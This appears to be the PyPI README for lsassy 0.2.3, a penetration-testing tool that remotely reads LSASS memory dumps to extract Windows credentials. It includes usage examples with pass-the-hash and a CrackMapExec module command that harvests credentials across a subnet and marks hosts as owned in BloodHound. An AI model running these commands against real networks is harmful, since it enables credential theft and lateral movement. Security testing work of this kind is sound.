lsassy 0.2.3

Python library to parse remote lsass dumps

lsassy

Python library to remotely parse lsass dump and extract credentials. This library uses impacket projects to remotely read necessary bytes in lsass dump and pypykatz to extract credentials.

Chapters	Description
Requirements	Requirements to install lsassy from source
Basic Usage	Command line template for standalone version
CrackMapExec Module	Link to CrackMapExec module included in this repository
Examples	Command line examples for standalone and CME module
Installation	Installation commands from pip or from source
Issues	Read this before creating an issue
Acknowledgments	Kudos to these people and tools

Requirements

• Python >= 3.6
• pypykatz >= 0.3.0
• impacket

Basic Usage

lsassy [--hashes [LM:]NT] [<domain>/]<user>[:<password>]@<target>:/share_name/path/to/lsass.dmp

CrackMapExec module

I wrote a CrackMapExec module that uses lsassy to extract credentials on compromised hosts

CrackMapExec module is in cme folder : CME Module

Examples

lsassy

lsassy ADSEC.LOCAL/jsnow:Winter_is_coming_\!@dc01.adsec.local:/C$/Windows/Temp/lsass.dmp

lsassy --hashes 952c28bd2fd728898411b301475009b7 [e-mail]:/ADMIN$/lsass.dmp

CME Module

crackmapexec smb 10.0.0.0/24 -d adsec.local -u Administrator -p Passw0rd -M lsassy -o BLOODHOUND=True NEO4JPASS=bloodhound```

Installation

From pip

python3.7 -m pip install lsassy

From sources

python3.7 setup.py install

ChangeLog

v0.2.0
------
* Add BloodHound option to CME module (-o BLOODHOUND=True)
    - Set compromised targets as "owned" in BloodHound
    - Check if compromised users have at least one path to domain admin
* Custom parsing (json, grep, pretty [default])
* New --hashes option to lsassy


v0.1.1
------
* Include CME module in repository
* Add credentials to CME database


v0.1.0
------
First release

Issues

If you find an issue with this tool (that's very plausible !), please

• Check that you're using the latest version
• Send as much details as possible.
  • For standalone lsassy, please use the -d debug flag
  • For CME module, please use CrackMapExec --verbose flag

Acknowledgments

• Impacket
• SkelSec for Pypykatz, but also for his patience and help
• mpgn for his help and ideas